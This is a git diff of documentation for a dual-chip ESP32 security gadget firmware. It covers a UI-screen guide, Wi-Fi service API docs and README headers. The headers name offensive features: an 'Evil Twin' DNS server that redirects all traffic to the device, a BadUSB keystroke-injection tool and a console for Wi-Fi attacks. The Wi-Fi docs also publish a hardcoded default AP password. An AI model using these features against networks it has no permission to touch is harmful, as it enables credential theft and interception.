0); + + // C. Setup Navigation + lv_obj_add_event_cb(screen_ble, ble_event_cb, LV_EVENT_KEY, NULL); + + // Add to Input Group (Essential!) + if (main_group) { + lv_group_add_obj(main_group, screen_ble); + lv_group_focus_obj(screen_ble); + } + + // D. Load Screen + lv_screen_load(screen_ble); +} +``` + +### 4. Link from the main Menu +Add a button/entru in the main menu to access the new screen + +**File:** `ui/screens/menu/ui_menu.c` +1. In the `menu_event_cb` callback, locate the corresponding item ID case and add/uncomment the call: +```c +case MENU_ID_BLUETOOTH: + ui_switch_screen(SCREEN_BLE_MENU); // <--- Routes to the new screen + break; +``` +(Note: If the MENU_ID_BLUETOOTH entry doesn't exist yet in menu_item_id_t, create it.) + +### 5. Update Build System (CMake) +Commom error: forgettint to register the new source files. + +**File:** `CMakeLists.txt` (UI component) +1. Add the new sources files and include directory: +```cmake +file(GLOB_RECURSE HOME_UI_SRCS "ui/screens/home/*.c") +file(GLOB_RECURSE MENU_UI_SRCS "ui/screens/menu/*.c") +file(GLOB_RECURSE WIFI_UI_SRCS "ui/screens/wifi/*.c") +file(GLOB_RECURSE BLE_UI_SRCS "ui/screens/ble/*.c") # <---- Add srcs here + +idf_component_register(SRCS + "ui/ui_manager.c" + ${HOME_UI_SRCS} + ${MENU_UI_SRCS} + ${WIFI_UI_SRCS} + ${BLE_UI_SRCS} # <----- and call it here + + INCLUDE_DIRS + "ui/include" + "ui/screens/home/include" + "ui/screens/menu/include" + "ui/screens/wifi/include" + "ui/screens/ble/include" # <----- dont forget include files +) +``` +2. Recommended: Run `idf.py reconfigure` in the terminal after saving + +--- + +## Execution Flow Sumamary +1. User selects **Bluetooth** from the Main Menu. +2. Menu callback calls `ui_switch_screen(SCREEN_BLE_MENU)`. +3. `ui_manager`: + - Handles hardware power (enables BLE if needed). + - Clears previous screen. + - Calls `ui_ble_menu_open()`. +4. `ui_ble_menu_open`: + - Creates visual objects. + - Adds objects to `main_group`. + - Loads the screen. + +**Done! The new screen is fully integrated, safe and navigable.** diff --git a/docs/wifi/c5.md b/docs/wifi/c5.md new file mode 100644 index 000000000..dda8511fd --- /dev/null +++ b/docs/wifi/c5.md @@ -0,0 +1,184 @@ +# Wi-Fi Service Component Documentation + +This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. + +## Functionality Overview + +The service handles: +- **Initialization/Deinitialization:** Setup of NVS, Netif, Event Loops, and Wi-Fi drivers. +- **Access Point (AP):** Configurable SSID, password, max connections, and custom IP address. +- **Scanning:** Active scanning for nearby networks. +- **Station (STA):** Connecting to external Wi-Fi networks. +- **Hotspot Management:** Dynamic switching of AP configuration. +- **Promiscuous Mode:** Low-level packet sniffing and environment monitoring. +- **Channel Hopping:** Automated cycling through Wi-Fi channels for environment monitoring. +- **Configuration Persistence:** Loading and saving AP settings to/from `assets/config/wifi/wifi_ap.conf`. +- **Known Networks:** Automatically saves connected network credentials to `assets/storage/wifi/know_networks.json`. + +## API Functions + +### Initialization & Lifecycle + +#### `wifi_service_init` +```c +void wifi_service_init(void); +``` +Initializes the Wi-Fi stack in `APSTA` mode. +- Initializes NVS (performing erase if necessary). +- Sets up the default event loop and registers handlers. +- Loads AP configuration from storage (or uses defaults "Darth Maul"/"MyPassword123"). +- Configures the static IP (default: 192.168.4.1) and starts the DHCP server. + +#### `wifi_service_deinit` +```c +void wifi_service_deinit(void); +``` +Completely shuts down the Wi-Fi service. +- Stops the Wi-Fi driver. +- Unregisters event handlers. +- Deinitializes the driver. +- Frees synchronization primitives (mutexes) and clears static data. + +#### `wifi_service_start` / `wifi_service_stop` +```c +void wifi_service_start(void); +void wifi_service_stop(void); +``` +Simple wrappers to start or stop the Wi-Fi driver without full deinitialization. `wifi_service_stop` also clears stored scan results. + +### Scanning + +#### `wifi_service_scan` +```c +void wifi_service_scan(void); +``` +Performs an active Wi-Fi scan. +- Uses a mutex to ensure thread safety. +- Stores up to `WIFI_SCAN_LIST_SIZE` results internally. +- Provides visual feedback via LEDs (Green for AP connection, Red for failures, Blue for scan success). + +#### `wifi_service_get_ap_count` +```c +uint16_t wifi_service_get_ap_count(void); +``` +Returns the number of networks found in the last scan. + +#### `wifi_service_get_ap_record` +```c +wifi_ap_record_t* wifi_service_get_ap_record(uint16_t index); +``` +Retrieves a pointer to a specific scan result record. Returns `NULL` if the index is invalid. + +### Connection & Management + +#### `wifi_service_connect_to_ap` +```c +esp_err_t wifi_service_connect_to_ap(const char *ssid, const char *password); +``` +Connects the device (as a station) to an external Access Point. +- Configures authentication mode based on the presence of a password (WPA2_PSK or OPEN). +- Disconnects any existing connection before attempting a new one. +- **Persistence:** Automatically saves the SSID and password to `assets/storage/wifi/know_networks.json`. If the network already exists, the password is updated. + +#### `wifi_service_is_connected` +```c +bool wifi_service_is_connected(void); +``` +Returns `true` if the device is currently connected to an external Wi-Fi network and has an IP address. + +#### `wifi_service_is_active` +```c +bool wifi_service_is_active(void); +``` +Returns `true` if the Wi-Fi service is started (driver initialized and interface up). + +#### `wifi_service_get_connected_ssid` +```c +const char* wifi_service_get_connected_ssid(void); +``` +Returns the SSID of the currently connected network. Returns `NULL` if not connected. + +#### `wifi_service_change_to_hotspot` +```c +void wifi_service_change_to_hotspot(const char *new_ssid); +``` +Dynamically reconfigures the device's Access Point to an **Open** network with the specified SSID. +- Stops the Wi-Fi driver briefly to apply changes. +- Sets `authmode` to `WIFI_AUTH_OPEN`. +- Restarts Wi-Fi with the new configuration. + +### Promiscuous Mode + +#### `wifi_service_promiscuous_start` +```c +void wifi_service_promiscuous_start(wifi_promiscuous_cb_t cb, wifi_promiscuous_filter_t *filter); +``` +Enables promiscuous mode (sniffer) with a custom callback and filter. +- `cb`: Function to handle captured packets. +- `filter`: Filter mask (e.g., `WIFI_PROMIS_FILTER_MASK_MGMT`). + +#### `wifi_service_promiscuous_stop` +```c +void wifi_service_promiscuous_stop(void); +``` +Disables promiscuous mode and clears the callback. + +### Channel Hopping + +#### `wifi_service_start_channel_hopping` +```c +void wifi_service_start_channel_hopping(void); +``` +Starts a background task that cycles the Wi-Fi interface through channels 1 to 13. +- Useful for promiscuous mode applications (e.g., deauth detection). +- Task memory is allocated in PSRAM if available. + +#### `wifi_service_stop_channel_hopping` +```c +void wifi_service_stop_channel_hopping(void); +``` +Stops the channel hopping task and frees associated memory resources. + +### Configuration Storage + +#### `wifi_service_save_ap_config` +```c +esp_err_t wifi_service_save_ap_config(const char *ssid, const char *password, uint8_t max_conn, const char *ip_addr, bool enabled); +``` +Saves the AP configuration to a JSON file (`/assets/config/wifi/wifi_ap.conf`). +- Uses `cJSON` to serialize settings. +- Persists data using the storage API. +- **State Management:** If `enabled` is `true` and Wi-Fi is inactive, it calls `wifi_service_start()`. If `enabled` is `false` and Wi-Fi is active, it calls `wifi_service_stop()`. + +#### Individual Setters +Helper functions to update a single configuration parameter while preserving others. They automatically save the config and trigger state changes if `enabled` is toggled. + +```c +esp_err_t wifi_service_set_enabled(bool enabled); +esp_err_t wifi_service_set_ap_ssid(const char *ssid); +esp_err_t wifi_service_set_ap_password(const char *password); +esp_err_t wifi_service_set_ap_max_conn(uint8_t max_conn); +esp_err_t wifi_service_set_ap_ip(const char *ip_addr); +``` + +**Internal Loader:** `wifi_service_load_ap_config` is called during initialization to read these settings. If `enabled` is found to be `false` in the config, `wifi_service_init` will initialize the driver but **not** start the radio. + +## Internal Implementation Details + +### Event Handling +A static `wifi_event_handler` manages Wi-Fi and IP events: +- **WIFI_EVENT_AP_STACONNECTED:** Logs the MAC of the connected station and blinks Green. +- **WIFI_EVENT_AP_STADISCONNECTED:** Blinks Red. +- **IP_EVENT_AP_STAIPASSIGNED:** Logs IP assignment and blinks Green. + +### Thread Safety +A `wifi_mutex` (Semaphore) is used to protect the scanning process (`wifi_service_scan`), preventing concurrent scan requests which could lead to resource conflicts. + +### Channel Hopping Task +The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_set_channel` to switch channels every 250ms. To optimize internal RAM usage, both the task stack and the Task Control Block (TCB) are allocated in **PSRAM** using the `SPIRAM` capability. + +### Castings & Memory Management +- **cJSON:** Used extensively for parsing and generating configuration files. +- **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. +- **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. +- **String Handling:** `strncpy` is used safely with explicit null-termination to prevent buffer overflows when handling SSIDs and passwords. diff --git a/docs/wifi/p4.md b/docs/wifi/p4.md new file mode 100644 index 000000000..877393def --- /dev/null +++ b/docs/wifi/p4.md @@ -0,0 +1,184 @@ +# Wi-Fi Service Component Documentation + +This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. + +## Functionality Overview + +The service handles: +- **Initialization/Deinitialization:** Setup of NVS, Netif, Event Loops, and Wi-Fi drivers. +- **Access Point (AP):** Configurable SSID, password, max connections, and custom IP address. +- **Scanning:** Active scanning for nearby networks. +- **Station (STA):** Connecting to external Wi-Fi networks. +- **Hotspot Management:** Dynamic switching of AP configuration. +- **Promiscuous Mode:** Low-level packet sniffing and environment monitoring. +- **Channel Hopping:** Automated cycling through Wi-Fi channels for environment monitoring. +- **Configuration Persistence:** AP/client settings loaded via `tos_config_load_all()` from SD (`config/wifi.conf`) with flash fallback (`/assets/config/wifi/wifi_ap.conf`). +- **Known Networks:** Automatically saves connected network credentials to `wifi/` on SD card. + +## API Functions + +### Initialization & Lifecycle + +#### `wifi_service_init` +```c +void wifi_service_init(void); +``` +Initializes the Wi-Fi stack in `APSTA` mode. +- Initializes NVS (performing erase if necessary). +- Sets up the default event loop and registers handlers. +- Loads AP configuration from storage (or uses defaults "Darth Maul"/"MyPassword123"). +- Configures the static IP (default: 192.168.4.1) and starts the DHCP server. + +#### `wifi_service_deinit` +```c +void wifi_service_deinit(void); +``` +Completely shuts down the Wi-Fi service. +- Stops the Wi-Fi driver. +- Unregisters event handlers. +- Deinitializes the driver. +- Frees synchronization primitives (mutexes) and clears static data. + +#### `wifi_service_start` / `wifi_service_stop` +```c +void wifi_service_start(void); +void wifi_service_stop(void); +``` +Simple wrappers to start or stop the Wi-Fi driver without full deinitialization. `wifi_service_stop` also clears stored scan results. + +### Scanning + +#### `wifi_service_scan` +```c +void wifi_service_scan(void); +``` +Performs an active Wi-Fi scan. +- Uses a mutex to ensure thread safety. +- Stores up to `WIFI_SCAN_LIST_SIZE` results internally. +- Provides visual feedback via LEDs (Green for AP connection, Red for failures, Blue for scan success). + +#### `wifi_service_get_ap_count` +```c +uint16_t wifi_service_get_ap_count(void); +``` +Returns the number of networks found in the last scan. + +#### `wifi_service_get_ap_record` +```c +wifi_ap_record_t* wifi_service_get_ap_record(uint16_t index); +``` +Retrieves a pointer to a specific scan result record. Returns `NULL` if the index is invalid. + +### Connection & Management + +#### `wifi_service_connect_to_ap` +```c +esp_err_t wifi_service_connect_to_ap(const char *ssid, const char *password); +``` +Connects the device (as a station) to an external Access Point. +- Configures authentication mode based on the presence of a password (WPA2_PSK or OPEN). +- Disconnects any existing connection before attempting a new one. +- **Persistence:** Automatically saves the SSID and password to `assets/storage/wifi/know_networks.json`. If the network already exists, the password is updated. + +#### `wifi_service_is_connected` +```c +bool wifi_service_is_connected(void); +``` +Returns `true` if the device is currently connected to an external Wi-Fi network and has an IP address. + +#### `wifi_service_is_active` +```c +bool wifi_service_is_active(void); +``` +Returns `true` if the Wi-Fi service is started (driver initialized and interface up). + +#### `wifi_service_get_connected_ssid` +```c +const char* wifi_service_get_connected_ssid(void); +``` +Returns the SSID of the currently connected network. Returns `NULL` if not connected. + +#### `wifi_service_change_to_hotspot` +```c +void wifi_service_change_to_hotspot(const char *new_ssid); +``` +Dynamically reconfigures the device's Access Point to an **Open** network with the specified SSID. +- Stops the Wi-Fi driver briefly to apply changes. +- Sets `authmode` to `WIFI_AUTH_OPEN`. +- Restarts Wi-Fi with the new configuration. + +### Promiscuous Mode + +#### `wifi_service_promiscuous_start` +```c +void wifi_service_promiscuous_start(wifi_promiscuous_cb_t cb, wifi_promiscuous_filter_t *filter); +``` +Enables promiscuous mode (sniffer) with a custom callback and filter. +- `cb`: Function to handle captured packets. +- `filter`: Filter mask (e.g., `WIFI_PROMIS_FILTER_MASK_MGMT`). + +#### `wifi_service_promiscuous_stop` +```c +void wifi_service_promiscuous_stop(void); +``` +Disables promiscuous mode and clears the callback. + +### Channel Hopping + +#### `wifi_service_start_channel_hopping` +```c +void wifi_service_start_channel_hopping(void); +``` +Starts a background task that cycles the Wi-Fi interface through channels 1 to 13. +- Useful for promiscuous mode applications (e.g., deauth detection). +- Task memory is allocated in PSRAM if available. + +#### `wifi_service_stop_channel_hopping` +```c +void wifi_service_stop_channel_hopping(void); +``` +Stops the channel hopping task and frees associated memory resources. + +### Configuration Storage + +#### `wifi_service_save_ap_config` +```c +esp_err_t wifi_service_save_ap_config(const char *ssid, const char *password, uint8_t max_conn, const char *ip_addr, bool enabled); +``` +Saves the AP configuration to a JSON file (`/assets/config/wifi/wifi_ap.conf`). +- Uses `cJSON` to serialize settings. +- Persists data using the storage API. +- **State Management:** If `enabled` is `true` and Wi-Fi is inactive, it calls `wifi_service_start()`. If `enabled` is `false` and Wi-Fi is active, it calls `wifi_service_stop()`. + +#### Individual Setters +Helper functions to update a single configuration parameter while preserving others. They automatically save the config and trigger state changes if `enabled` is toggled. + +```c +esp_err_t wifi_service_set_enabled(bool enabled); +esp_err_t wifi_service_set_ap_ssid(const char *ssid); +esp_err_t wifi_service_set_ap_password(const char *password); +esp_err_t wifi_service_set_ap_max_conn(uint8_t max_conn); +esp_err_t wifi_service_set_ap_ip(const char *ip_addr); +``` + +**Internal Loader:** `wifi_service_load_ap_config` is called during initialization to read these settings. If `enabled` is found to be `false` in the config, `wifi_service_init` will initialize the driver but **not** start the radio. + +## Internal Implementation Details + +### Event Handling +A static `wifi_event_handler` manages Wi-Fi and IP events: +- **WIFI_EVENT_AP_STACONNECTED:** Logs the MAC of the connected station and blinks Green. +- **WIFI_EVENT_AP_STADISCONNECTED:** Blinks Red. +- **IP_EVENT_AP_STAIPASSIGNED:** Logs IP assignment and blinks Green. + +### Thread Safety +A `wifi_mutex` (Semaphore) is used to protect the scanning process (`wifi_service_scan`), preventing concurrent scan requests which could lead to resource conflicts. + +### Channel Hopping Task +The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_set_channel` to switch channels every 250ms. To optimize internal RAM usage, both the task stack and the Task Control Block (TCB) are allocated in **PSRAM** using the `SPIRAM` capability. + +### Castings & Memory Management +- **cJSON:** Used extensively for parsing and generating configuration files. +- **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. +- **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. +- **String Handling:** `strncpy` is used safely with explicit null-termination to prevent buffer overflows when handling SSIDs and passwords. diff --git a/firmware_c5/components/Applications/espnow_chat/README.md b/firmware_c5/components/Applications/espnow_chat/README.md index 2af69383e..83ad2ee31 100644 --- a/firmware_c5/components/Applications/espnow_chat/README.md +++ b/firmware_c5/components/Applications/espnow_chat/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/espnow_chat/README.md`](../../../../docs/espnow_chat/README.md). + # ESP-NOW Chat Application The **ESP-NOW Chat Application** is the high-level logic layer that bridges the raw `Service` capabilities with the User Interface (UI). It handles business logic, event notification, and data formatting for the display. diff --git a/firmware_c5/components/Drivers/buttons_gpio/README.md b/firmware_c5/components/Drivers/buttons_gpio/README.md index 7820397e8..22f8e32c0 100644 --- a/firmware_c5/components/Drivers/buttons_gpio/README.md +++ b/firmware_c5/components/Drivers/buttons_gpio/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/buttons_gpio/c5.md`](../../../../docs/buttons_gpio/c5.md). + # GPIO Buttons Driver This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. diff --git a/firmware_c5/components/Drivers/spi/README.md b/firmware_c5/components/Drivers/spi/README.md index f4dc129d6..52c38f454 100644 --- a/firmware_c5/components/Drivers/spi/README.md +++ b/firmware_c5/components/Drivers/spi/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi/c5.md`](../../../../docs/spi/c5.md). + # SPI Bus Driver This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. diff --git a/firmware_c5/components/Service/bluetooth/README.md b/firmware_c5/components/Service/bluetooth/README.md index 249e7f91c..66faf6c46 100644 --- a/firmware_c5/components/Service/bluetooth/README.md +++ b/firmware_c5/components/Service/bluetooth/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/bluetooth/README.md`](../../../../docs/bluetooth/README.md). + # Bluetooth Service Component Documentation This component manages the Bluetooth Low Energy (BLE) functionality of the device using the Apache NimBLE stack. It provides a high-level API for initialization, lifecycle management, scanning, advertising, connection handling, and address randomization. diff --git a/firmware_c5/components/Service/dns_server/README.md b/firmware_c5/components/Service/dns_server/README.md index 6ef23bc1f..bca773104 100644 --- a/firmware_c5/components/Service/dns_server/README.md +++ b/firmware_c5/components/Service/dns_server/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/dns_server/README.md`](../../../../docs/dns_server/README.md). + # DNS Server Service Component This component implements a lightweight DNS server optimized for "Evil Twin" and Captive Portal applications. It intercepts all DNS queries and responds authoritatively with the device's own IP address, effectively redirecting all traffic to the local web server. diff --git a/firmware_c5/components/Service/esp_now/README.md b/firmware_c5/components/Service/esp_now/README.md index bd800ba66..1242a27ba 100644 --- a/firmware_c5/components/Service/esp_now/README.md +++ b/firmware_c5/components/Service/esp_now/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/esp_now/README.md`](../../../../docs/esp_now/README.md). + # ESP-NOW Service The **ESP-NOW Service** is the low-level communication backbone for the Highboy project. It abstracts the ESP-IDF `esp_now` driver, providing a robust, connectionless messaging layer with auto-discovery, persistent peer management, and software-based security. diff --git a/firmware_c5/components/Service/host_link/README.md b/firmware_c5/components/Service/host_link/README.md index dff121ceb..188743588 100644 --- a/firmware_c5/components/Service/host_link/README.md +++ b/firmware_c5/components/Service/host_link/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/host_link/c5.md`](../../../../docs/host_link/c5.md). + # Host Link — C5 (BLE relay + log tee) The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE diff --git a/firmware_c5/components/Service/http_server/README.md b/firmware_c5/components/Service/http_server/README.md index 89e3a47ac..b0e087d5f 100644 --- a/firmware_c5/components/Service/http_server/README.md +++ b/firmware_c5/components/Service/http_server/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/http_server/README.md`](../../../../docs/http_server/README.md). + # HTTP Server Service Component Documentation This component provides an abstraction layer over ESP-IDF's native `esp_http_server`, facilitating initialization, request handling, response sending, and file system (SD Card) integration for the Highboy project. diff --git a/firmware_c5/components/Service/sd_card/README.md b/firmware_c5/components/Service/sd_card/README.md index e447bfabf..199ccac48 100644 --- a/firmware_c5/components/Service/sd_card/README.md +++ b/firmware_c5/components/Service/sd_card/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/sd_card/c5.md`](../../../../docs/sd_card/c5.md). + # SD Directory Management Component Component for managing directories on SD card storage. diff --git a/firmware_c5/components/Service/spi_bridge/README.md b/firmware_c5/components/Service/spi_bridge/README.md index 23e72602a..4a9e08a09 100644 --- a/firmware_c5/components/Service/spi_bridge/README.md +++ b/firmware_c5/components/Service/spi_bridge/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi_bridge/c5.md`](../../../../docs/spi_bridge/c5.md). + # SPI Bridge - C5 Slave This component transforms the **ESP32-C5** into a high-performance radio co-processor for the ESP32-P4. diff --git a/firmware_c5/components/Service/storage_api/README.md b/firmware_c5/components/Service/storage_api/README.md index 227b42b36..1cf2432af 100644 --- a/firmware_c5/components/Service/storage_api/README.md +++ b/firmware_c5/components/Service/storage_api/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_api/c5.md`](../../../../docs/storage_api/c5.md). + # Storage API The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. diff --git a/firmware_c5/components/Service/storage_assets/README.md b/firmware_c5/components/Service/storage_assets/README.md index 0eb3d7cff..7c760c9d0 100644 --- a/firmware_c5/components/Service/storage_assets/README.md +++ b/firmware_c5/components/Service/storage_assets/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_assets/c5.md`](../../../../docs/storage_assets/c5.md). + # Storage Assets Component This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. diff --git a/firmware_c5/components/Service/storage_vfs/README.md b/firmware_c5/components/Service/storage_vfs/README.md index a60e33631..6e823d6af 100644 --- a/firmware_c5/components/Service/storage_vfs/README.md +++ b/firmware_c5/components/Service/storage_vfs/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_vfs/c5.md`](../../../../docs/storage_vfs/c5.md). + # Virtual File System (VFS) - Unified Storage Abstraction The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). diff --git a/firmware_c5/components/Service/wifi/README.md b/firmware_c5/components/Service/wifi/README.md index dda8511fd..f684311b5 100644 --- a/firmware_c5/components/Service/wifi/README.md +++ b/firmware_c5/components/Service/wifi/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/wifi/c5.md`](../../../../docs/wifi/c5.md). + # Wi-Fi Service Component Documentation This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. diff --git a/firmware_p4/components/Applications/SubGhz/README.md b/firmware_p4/components/Applications/SubGhz/README.md index 5d486c40a..253c5e688 100644 --- a/firmware_p4/components/Applications/SubGhz/README.md +++ b/firmware_p4/components/Applications/SubGhz/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/SubGhz/README.md`](../../../../docs/SubGhz/README.md). + # SubGhz Application This component implements the complete Sub-GHz RF application layer: signal reception (with protocol decoding and frequency hopping), raw/encoded transmission, spectrum analysis, signal analysis, and file serialization. It sits on top of the `cc1101` driver and uses the ESP-IDF RMT peripheral for precise pulse timing. diff --git a/firmware_p4/components/Applications/bad_usb/README.md b/firmware_p4/components/Applications/bad_usb/README.md index b89fc7086..85429ad1d 100644 --- a/firmware_p4/components/Applications/bad_usb/README.md +++ b/firmware_p4/components/Applications/bad_usb/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/bad_usb/README.md`](../../../../docs/bad_usb/README.md). + # BadUSB Application This component implements a modular HID injection tool capable of emulating keyboard and mouse input to execute automated payloads. It features a 3-layer architecture that decouples script parsing, keyboard layouts, and hardware transport. diff --git a/firmware_p4/components/Applications/ui/README.md b/firmware_p4/components/Applications/ui/README.md index 2cbbcc1f0..67b256ffc 100644 --- a/firmware_p4/components/Applications/ui/README.md +++ b/firmware_p4/components/Applications/ui/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/ui/README.md`](../../../../docs/ui/README.md). + # ui_manager step-by-step process for adding a new screen (feature) to the HighBoy system using the ui_manager architecture. diff --git a/firmware_p4/components/Drivers/buttons_gpio/README.md b/firmware_p4/components/Drivers/buttons_gpio/README.md index 7820397e8..629a0903c 100644 --- a/firmware_p4/components/Drivers/buttons_gpio/README.md +++ b/firmware_p4/components/Drivers/buttons_gpio/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/buttons_gpio/p4.md`](../../../../docs/buttons_gpio/p4.md). + # GPIO Buttons Driver This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. diff --git a/firmware_p4/components/Drivers/cc1101/README.md b/firmware_p4/components/Drivers/cc1101/README.md index 4f813b9cc..41cdfcce6 100644 --- a/firmware_p4/components/Drivers/cc1101/README.md +++ b/firmware_p4/components/Drivers/cc1101/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/cc1101/README.md`](../../../../docs/cc1101/README.md). + # CC1101 Sub-GHz Radio Driver This component provides a full driver for the Texas Instruments CC1101 low-power sub-GHz RF transceiver. It handles SPI communication, frequency configuration, modulation presets, and TX/RX operations. diff --git a/firmware_p4/components/Drivers/spi/README.md b/firmware_p4/components/Drivers/spi/README.md index 0eacc65a0..bd0394a08 100644 --- a/firmware_p4/components/Drivers/spi/README.md +++ b/firmware_p4/components/Drivers/spi/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi/p4.md`](../../../../docs/spi/p4.md). + # SPI Bus Driver This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. diff --git a/firmware_p4/components/Drivers/st7789/README.md b/firmware_p4/components/Drivers/st7789/README.md index ad7ad87d7..3c4bf60cf 100644 --- a/firmware_p4/components/Drivers/st7789/README.md +++ b/firmware_p4/components/Drivers/st7789/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/st7789/README.md`](../../../../docs/st7789/README.md). + # ST7789 Display Driver This component initializes and manages the ST7789 LCD controller using the ESP-IDF `esp_lcd` component. It handles the SPI interface configuration and the display initialization sequence. diff --git a/firmware_p4/components/Drivers/tusb_desc/README.md b/firmware_p4/components/Drivers/tusb_desc/README.md index 04509b72a..5bef9712d 100644 --- a/firmware_p4/components/Drivers/tusb_desc/README.md +++ b/firmware_p4/components/Drivers/tusb_desc/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/tusb_desc/README.md`](../../../../docs/tusb_desc/README.md). + # TinyUSB Descriptors (HID Composite) This component defines the USB descriptors required to enumerate the ESP32-P4 as a USB HID Composite Device (Keyboard + Mouse) and provides the initialization routine for the TinyUSB driver. diff --git a/firmware_p4/components/Service/c5_flasher/README.md b/firmware_p4/components/Service/c5_flasher/README.md index dfa9fc968..16ef7abeb 100644 --- a/firmware_p4/components/Service/c5_flasher/README.md +++ b/firmware_p4/components/Service/c5_flasher/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/c5_flasher/README.md`](../../../../docs/c5_flasher/README.md). + # C5 Flasher Service - P4 Master This service allows the ESP32-P4 to update the firmware of the ESP32-C5 using an embedded binary image. diff --git a/firmware_p4/components/Service/console/README.md b/firmware_p4/components/Service/console/README.md index 25203d31b..d7f017dd4 100644 --- a/firmware_p4/components/Service/console/README.md +++ b/firmware_p4/components/Service/console/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/console/README.md`](../../../../docs/console/README.md). + # Console Service Component The Console Service provides an interactive command-line interface (CLI) for the TentacleOS Highboy. It allows users to manage files, configure system settings, and execute Wi-Fi attacks directly via USB Serial or UART. diff --git a/firmware_p4/components/Service/host_link/README.md b/firmware_p4/components/Service/host_link/README.md index aea18ef6d..bcf4bba3c 100644 --- a/firmware_p4/components/Service/host_link/README.md +++ b/firmware_p4/components/Service/host_link/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/host_link/p4.md`](../../../../docs/host_link/p4.md). + # Host Link — P4 (companion app link) Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single diff --git a/firmware_p4/components/Service/lvgl_port/README.md b/firmware_p4/components/Service/lvgl_port/README.md index a46afdb48..62981576a 100644 --- a/firmware_p4/components/Service/lvgl_port/README.md +++ b/firmware_p4/components/Service/lvgl_port/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/lvgl_port/README.md`](../../../../docs/lvgl_port/README.md). + # LVGL Port Component Documentation This component implements the **porting layer** required to run the **LVGL v9** graphics library on the Highboy hardware. It connects the generic LVGL engine with the specific drivers for the display (ST7789 via ESP-LCD) and input devices (GPIO Buttons). diff --git a/firmware_p4/components/Service/ota/README.md b/firmware_p4/components/Service/ota/README.md index 6528f03cd..2db718390 100644 --- a/firmware_p4/components/Service/ota/README.md +++ b/firmware_p4/components/Service/ota/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/ota/README.md`](../../../../docs/ota/README.md). + # OTA Update Service Handles firmware updates for TentacleOS via MicroSD card. Uses A/B OTA partitions with automatic rollback and dual-chip synchronization (ESP32-P4 + ESP32-C5). diff --git a/firmware_p4/components/Service/sd_card/README.md b/firmware_p4/components/Service/sd_card/README.md index 6d1a58dd1..cd1e41f45 100644 --- a/firmware_p4/components/Service/sd_card/README.md +++ b/firmware_p4/components/Service/sd_card/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: 